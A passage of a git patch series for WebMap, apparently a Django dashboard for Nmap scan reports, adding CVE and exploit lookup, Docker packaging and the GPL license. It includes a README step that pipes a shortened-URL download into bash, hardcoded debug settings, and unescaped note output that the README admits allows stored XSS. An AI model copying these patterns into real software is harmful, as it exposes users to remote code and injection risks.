'+\ '

'+\ - '

Generated with
'+\ + '

Generated by
'+\ '

'+\ ' https://github.com/Rev3rseSecurity/WebMap'+\ '

'+\ diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..5109f05 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +requests +xmltodict diff --git a/static/async.js b/static/async.js index 14fb5b5..67d4e9c 100644 --- a/static/async.js +++ b/static/async.js @@ -2,6 +2,74 @@ $(document).ready(function() { // doc ready }); +var cpetot = 0; +var cpetimer; +function checkCVE() { + cpe = JSON.parse(atob(decodeURIComponent($('#cpestring').val()))); + csrftoken = $('input[name="csrfmiddlewaretoken"]').val(); + console.log(cpe); + /* $.get('http://cve.circl.lu/api/cvefor/cpe:/a:openbsd:openssh:7.6').done(function(d) { + console.log(d); + }); */ + + $('#modal1').css('background-color','#3e3e3e'); + $('#modaltitle').html('Looking for CVE and Exploits'); + $('#modalbody').html( + 'This process could take a while, please wait...'+ + '

' + ); + $('#modalfooter').html(''); + $('#modal1').modal('open'); + + cpetot = Object.keys(cpe).length; + console.log(cpetot); + + for(host in cpe) { + for(port in cpe[host]) { + for(cpestr in cpe[host][port]) { + if(/^cpe:.+:.+:.+:.*$/.test(cpestr)) { + console.log(cpestr); + $.post('/report/api/getcve/', { + 'cpe': cpestr, + 'host':host, + 'port':port, + 'csrfmiddlewaretoken': csrftoken + }).done(function(d) { + console.log(d); + for(rhost in d) { + for(rport in d[rhost]) { + $('#modalbody').append('

Received: '+d[rhost][rport]['id']+' host:'+rhost+' port:'+rport+'

'); + } + } + }).always(function() { cpetot = (cpetot - 1); }); + } else { + cpetot = (cpetot - 1); + } + + console.log(cpetot); + } + } + } + + cpetimer = setInterval(function() { + if(checkCPETOT()) { + console.log('END'); + window.clearInterval(cpetimer); + $('#modalbody').html('Done. Please, reload this page by clicking on Reload button.'); + $('#modalfooter').html(''); + } + }, 2000); + +} + +function checkCPETOT() { + if(cpetot <= 0) { + return true; + } else { + return false; + } +} + function genPDF(md5scan) { if(/^[a-f0-9]{32,32}$/.test(md5scan)) { $.get('/report/api/pdf/').done(function(data) { diff --git a/urls.py b/urls.py index e2e3626..17924dd 100644 --- a/urls.py +++ b/urls.py @@ -11,6 +11,7 @@ path('api/setlabel////', api.label, name='api_label'), path('api/rmlabel///', api.rmlabel, name='api_rmlabel'), path('api/pdf/', api.genPDF, name='genPDF'), + path('api/getcve/', api.getCVE, name='getCVE'), path('api/savenotes/', api.saveNotes, name='genPDF'), path('api/rmnotes//', api.rmNotes, name='api_rmnotes'), path('api/

//', api.port_details, name='api_port'), diff --git a/views.py b/views.py index 846f43e..f8c6dfc 100644 --- a/views.py +++ b/views.py @@ -55,6 +55,21 @@ def details(request, address): noteshost[m.group(1)] = {} noteshost[m.group(1)][m.group(2)] = open('/opt/notes/'+nf, 'r').read() + # collect all cve in cvehost dict + cvehost = {} + cvefiles = os.listdir('/opt/notes') + for cf in cvefiles: + m = re.match('^('+scanmd5+')_([a-z0-9]{32,32})\.([0-9]+)\.cve$', cf) + if m is not None: + if m.group(1) not in cvehost: + cvehost[m.group(1)] = {} + + if m.group(2) not in cvehost[m.group(1)]: + cvehost[m.group(1)][m.group(2)] = {} + + cvehost[m.group(1)][m.group(2)][m.group(3)] = open('/opt/notes/'+cf, 'r').read() + + r['trhead'] = 'PortProduct / VersionExtra Info ' pel=0 @@ -182,11 +197,12 @@ def details(request, address): if type(ik) is not dict: break; + r['table'] = '' notesout,notesb64,removenotes = '','','' if scanmd5 in noteshost: if addressmd5 in noteshost[scanmd5]: notesb64 = noteshost[scanmd5][addressmd5] - r['table'] = '

'+\ + r['table'] += '

'+\ '

Notes

'+\ ' '+base64.b64decode(urllib.parse.unquote(notesb64)).decode('ascii')+\ '

'+\ @@ -195,8 +211,37 @@ def details(request, address): #notesout = '
contains notes' #removenotes = '

Remove notes

' - - + cveout = '' + if scanmd5 in cvehost: + if addressmd5 in cvehost[scanmd5]: + for cveport in cvehost[scanmd5][addressmd5]: + cvejson = json.loads(cvehost[scanmd5][addressmd5][cveport]) + r['out'] = json.dumps(cvejson, indent=4) + for cveobj in cvejson: + + cverefout = '' + for cveref in cveobj['references']: + cverefout += ''+cveref+'
' + + cveexdbout = '' + if 'exploit-db' in cveobj: + cveexdbout = '

Exploit DB:
' + for cveexdb in cveobj['exploit-db']: + if 'title' in cveexdb: + cveexdbout += ''+html.escape(cveexdb['title'])+'
' + cveexdbout += '

' + + cveout += '

'+\ + ' '+html.escape(cveobj['id'])+' '+html.escape(cveobj['summary'])+'

'+\ + '

References:
'+cverefout+'

'+\ + cveexdbout+\ + '

' + + r['table'] += '

'+\ + '

CVE LIST:'+\ + cveout+\ + '

'+\ + '

' r['pretable'] = ' + @@ -19,7 +20,10 @@

WebMap Star + WebMap Watch

Scan List

'+\ + r['table'] = '

'+\ ' Put your Nmap XML files in /opt/xml/ directory, example:

'+\ '

nmap -A -T4 -oX myscan.xml 192.168.1.0/24
'+\ ' mv myscan.xml <docker webmap xml dir>

'+\ ' # or you can copy myscan.xml to the webmap container:
'+\ ' docker cp myscan.xml webmap:/opt/xml/

'+\ - '

'+\ - '' + '

'+\ + r['table'] += '

'+\ '

'+\ - '

'+\ - ' Made with by Andrea theMiddle Menin'+\ + '

'+\ + ' Made with by Andrea theMiddle Menin

'+\ '

'+\ - '

GitHub:

'+\ - ' Follow theMiddle
'+\ + '

'+\ + '

'+\ + ' A Rev3rse Security Project'+\ + ' '+\ '

'+\ - '

Follow me:

'+\ - ' Follow @Menin_TheMiddle
'+\ - '

'+\ + '

Support us & Follow us

'+\ + ' WebMap on GitHub
'+\ + ' Rev3rse Security on Twitter
'+\ + ' Rev3rse Security on YouTube
'+\ + ' '+\ '

'+\ '

' From d32c6a445dc972d72f2ff6eae009af491bda9d64 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 26 Oct 2018 09:57:51 +0000 Subject: [PATCH 08/77] fix html and css for PDF report --- pdf.py | 2 +- static/report.css | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/pdf.py b/pdf.py index 3f66d12..4e9d6c6 100644 --- a/pdf.py +++ b/pdf.py @@ -239,7 +239,7 @@ def reportPDFView(request): ' '+\ hostdetails_html_tr+\ '

Protocol / Port	Port State	Product / Version

'+\ - '

'+portdetails_html_tr+'

'+\ + '

NSE Scripts for '+saddress+':

'+portdetails_html_tr+'

'+\ notesout+\ cveout_html diff --git a/static/report.css b/static/report.css index cd486b4..c57cdc3 100644 --- a/static/report.css +++ b/static/report.css @@ -36,6 +36,8 @@ h1 { padding:10px; margin-bottom:10px; font-family:monospace; + border-radius:4px; + background-color:#eee; } .extratitle { From 2a0269a5fd0280a2963f3a577b6563803bcaf85b Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 26 Oct 2018 10:04:17 +0000 Subject: [PATCH 09/77] add Dockerfile --- docker/Dockerfile | 41 ++++++++++++++++ docker/settings.py | 113 +++++++++++++++++++++++++++++++++++++++++++ docker/urls.py | 8 +++ docker/xml/empty.txt | 0 4 files changed, 162 insertions(+) create mode 100644 docker/Dockerfile create mode 100644 docker/settings.py create mode 100644 docker/urls.py create mode 100644 docker/xml/empty.txt diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000..5b14b0c --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,41 @@ +# WebMap +# - +# https://github.com/Rev3rseSecurity/WebMap +# Rev3rse Security: https://www.youtube.com/rev3rsesecurity +# Author: theMiddle +# - +# Usage: +# $ cd /opt +# $ git clone https://github.com/Rev3rseSecurity/WebMap.git +# $ cd WebMap/docker +# $ docker build -t webmap:latest . +# $ docker run -d -v /opt/WebMap/docker/xml:/opt/xml -p 8000:8000 webmap:latest +# +# Nmap Example: +# $ nmap -sT -A -oX /tmp/myscan.xml 192.168.1.0/24 +# $ mv /tmp/myscan.xml /opt/WebMap/docker/xml +# +# Now you can point your browser to http://localhost:8000 + +FROM ubuntu:latest + +RUN apt-get update && apt-get install -y --allow-downgrades --allow-remove-essential --allow-change-held-packages \ + python3 python3-pip curl wget git wkhtmltopdf libssl1.0-dev + +RUN mkdir /opt/xml && mkdir /opt/notes && \ + wget -P /opt/ https://github.com/wkhtmltopdf/wkhtmltopdf/releases/download/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz && \ + cd /opt/ && tar -xvf /opt/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz + +RUN pip3 install Django requests xmltodict && \ + cd /opt/ && django-admin startproject nmapdashboard && cd /opt/nmapdashboard && \ + git clone https://github.com/Rev3rseSecurity/WebMap.git && \ + mv WebMap nmapreport && cd nmapreport && git checkout v2/master + +COPY settings.py /opt/nmapdashboard/nmapdashboard/ +COPY urls.py /opt/nmapdashboard/nmapdashboard/ + +RUN cd /opt/nmapdashboard && python3 manage.py migrate + +EXPOSE 8000 + +ENTRYPOINT ["python3", "/opt/nmapdashboard/manage.py", "runserver", "0:8000"] diff --git a/docker/settings.py b/docker/settings.py new file mode 100644 index 0000000..565b2c2 --- /dev/null +++ b/docker/settings.py @@ -0,0 +1,113 @@ +import os + +# Build paths inside the project like this: os.path.join(BASE_DIR, ...) +BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'rev3rse-notes:_you_should-change_this..._but_webmap_should_run_on_localhost_only..._so_no_problem_here.' +# ^^^ -> yes, not safe for production. This is the why you shouldn't expose this app on the internet. + + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True +# ^^^ leave it active for better understand issues and bug +# ^^^ (again, this is a good reason to not expose this app on the internet) + +ALLOWED_HOSTS = ['*'] +# ^ keep in mind that this app is not designed to be exposed on the internet. Please don't do it. + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + 'nmapreport', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'nmapdashboard.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'nmapdashboard.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/2.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': '/opt/nmapdashboard/db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/2.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_L10N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/2.1/howto/static-files/ + +STATIC_URL = '/static/' diff --git a/docker/urls.py b/docker/urls.py new file mode 100644 index 0000000..062acd9 --- /dev/null +++ b/docker/urls.py @@ -0,0 +1,8 @@ +from django.contrib import admin +from django.urls import include, path + +urlpatterns = [ + path('', include('nmapreport.urls')), + path('report/', include('nmapreport.urls')), + path('admin/', admin.site.urls), +] diff --git a/docker/xml/empty.txt b/docker/xml/empty.txt new file mode 100644 index 0000000..e69de29 From 0d7b7684c675febccc3caefc055eb6b815f6a98f Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 26 Oct 2018 10:21:34 +0000 Subject: [PATCH 10/77] add rev3rse links --- views.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/views.py b/views.py index 52102c0..5177aae 100644 --- a/views.py +++ b/views.py @@ -293,8 +293,8 @@ def index(request, filterservice="", filterportid=""): '

'+\ '

Support us & Follow us

'+\ ' WebMap on GitHub
'+\ - ' Rev3rse Security on Twitter
'+\ - ' Rev3rse Security on YouTube
'+\ + ' Rev3rse Security on Twitter
'+\ + ' Rev3rse Security on YouTube
'+\ ' '+\ '

'+\ From 6163b3073f407403387dad67a3b64c79170a34c6 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 26 Oct 2018 10:33:35 +0000 Subject: [PATCH 11/77] add CVE and Exploits --- README.md | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 0b8af9c..ec463e9 100644 --- a/README.md +++ b/README.md @@ -14,6 +14,7 @@ A Web Dashbord for Nmap XML Report - [Video](#video) - [Features](#features) - [XML Filenames](#xml-filenames) +- [CVE and Exploits](#cve-and-exploits) - [Third Parts](#third-parts) - [Security Issues](#security-issues) - [Contributors](#contributors) @@ -46,9 +47,11 @@ Now point your browser to http://localhost:8000 - Insert notes for a specific host - Create a PDF Report with charts, details, labels and notes - Copy to clipboard as Nikto, Curl or Telnet commands +- Search for CVE and Exploits based on CPE collected by Nmap ## XML Filenames -When creating the PDF version of the Nmap XML Report, the XML filename is used as document title on the first page. WebMap will replace some parts of the filename as following: +When creating the PDF version of the Nmap XML Report, the XML filename is used as document title on the first page. +WebMap will replace some parts of the filename as following: - `_` will replaced by a space (` `) - `.xml` will be removed @@ -56,18 +59,28 @@ When creating the PDF version of the Nmap XML Report, the XML filename is used a Example: `ACME_Ltd..xml`
PDF title: `ACME Ltd.` +## CVE and Exploits +thanks to the amazing API services by circl.lu, WebMap is able to looking for CVE and Exploits for each CPE collected by Nmap. +Not all CPE are checked over the circl.lu API, but only when a specific version is specified +(for example: `cpe:/a:microsoft:iis:7.5` and not `cpe:/o:microsoft:windows`). + ## Third Parts - [Django](https://www.djangoproject.com) - [Materialize CSS](https://materializecss.com) - [Clipboard.js](https://clipboardjs.com) - [Chart.js](https://www.chartjs.org) - [Wkhtmltopdf](https://wkhtmltopdf.org) +- [API cve.circl.lu](https://cve.circl.lu) ## Security Issues -This app is not intended to be exposed on the internet. Please, **DO NOT expose** this app to the internet, use your localhost or, in case you can't do it, take care to filter who and what can access to WebMap with a firewall rule or something like that. Exposing this app to the whole internet could lead not only to a stored XSS but also to a leakage of sensitive/critical/private informations about your port scan. Please, be smart. +This app is not intended to be exposed on the internet. Please, **DO NOT expose** this app to the internet, use your localhost or, +in case you can't do it, take care to filter who and what can access to WebMap with a firewall rule or something like that. +Exposing this app to the whole internet could lead not only to a stored XSS but also to a leakage of sensitive/critical/private +informations about your port scan. Please, be smart. ## Contributors -This project is currently a beta, and I'm not super skilled on Django so, every type of contribution is appreciated. I'll mention all contributors in this section of the README file. +This project is currently a beta, and I'm not super skilled on Django so, every type of contribution is appreciated. +I'll mention all contributors in this section of the README file. ### Contributors List - s3th_0x [@adubaldo](https://github.com/adubaldo) (bug on single host report) From a41638bf80d030f0b6286eee8a6717953efacfbb Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 26 Oct 2018 10:44:17 +0000 Subject: [PATCH 12/77] changed docker section --- README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/README.md b/README.md index ec463e9..cc43671 100644 --- a/README.md +++ b/README.md @@ -36,6 +36,11 @@ $ nmap -sT -A -T4 -oX /tmp/webmap/myscan.xml 192.168.1.0/24 ``` Now point your browser to http://localhost:8000 +### Quick and Dirty +```bash +$ curl -sL url | bash +``` + ## Video -- coming soon... From 8aafd3a31bd209839cea5fcb83ae5954d2796f45 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 26 Oct 2018 10:50:45 +0000 Subject: [PATCH 13/77] add remote setup script --- docker/setup.txt | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 docker/setup.txt diff --git a/docker/setup.txt b/docker/setup.txt new file mode 100644 index 0000000..6bb005f --- /dev/null +++ b/docker/setup.txt @@ -0,0 +1,9 @@ +echo -e "\n[+] Starting WebMap docker setup" +echo "[+] Creating required dirs" +mkdir /tmp/webmap +echo "[+] Docker run webmap" +docker run -d --name webmap -h webmap -p 8000:8000 -v /tmp/webmap:/opt/xml rev3rse/webmap +echo "[+] Done" +echo -e "\nNow you can point your browser to http://localhost:8000" +echo "Please, take few seconds to support this project on GitHub" +echo -e "https://github.com/Rev3rseSecurity/WebMap\n" From 0ddee161c8574e4ae0110b73f99c3a7b66c7b619 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 26 Oct 2018 10:57:24 +0000 Subject: [PATCH 14/77] add quick setup --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index cc43671..1ac6067 100644 --- a/README.md +++ b/README.md @@ -29,7 +29,7 @@ $ docker run -d \ -h webmap \ -p 8000:8000 \ -v /tmp/webmap:/opt/xml \ - rev3rse/webmap /run.sh + rev3rse/webmap $ # now you can run Nmap and save the XML Report on /tmp/webmap $ nmap -sT -A -T4 -oX /tmp/webmap/myscan.xml 192.168.1.0/24 @@ -38,7 +38,7 @@ Now point your browser to http://localhost:8000 ### Quick and Dirty ```bash -$ curl -sL url | bash +$ curl -sL http://bit.ly/webmapsetup | bash ``` ## Video From a66d221c5d43c79f3348373be95ab0d895b0ae59 Mon Sep 17 00:00:00 2001 From: Rev3rseSecurity <36775664+Rev3rseSecurity@users.noreply.github.com> Date: Fri, 26 Oct 2018 14:23:41 +0000 Subject: [PATCH 15/77] remove git buttons --- templates/nmapreport/index.html | 2 -- 1 file changed, 2 deletions(-) diff --git a/templates/nmapreport/index.html b/templates/nmapreport/index.html index 3910460..9c4c8b5 100644 --- a/templates/nmapreport/index.html +++ b/templates/nmapreport/index.html @@ -21,8 +21,6 @@

WebMap Star - WebMap Watch

Date: Mon, 29 Oct 2018 10:07:10 +0100 Subject: [PATCH 16/77] add license file --- LICENSE | 674 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 674 insertions(+) create mode 100644 LICENSE diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, 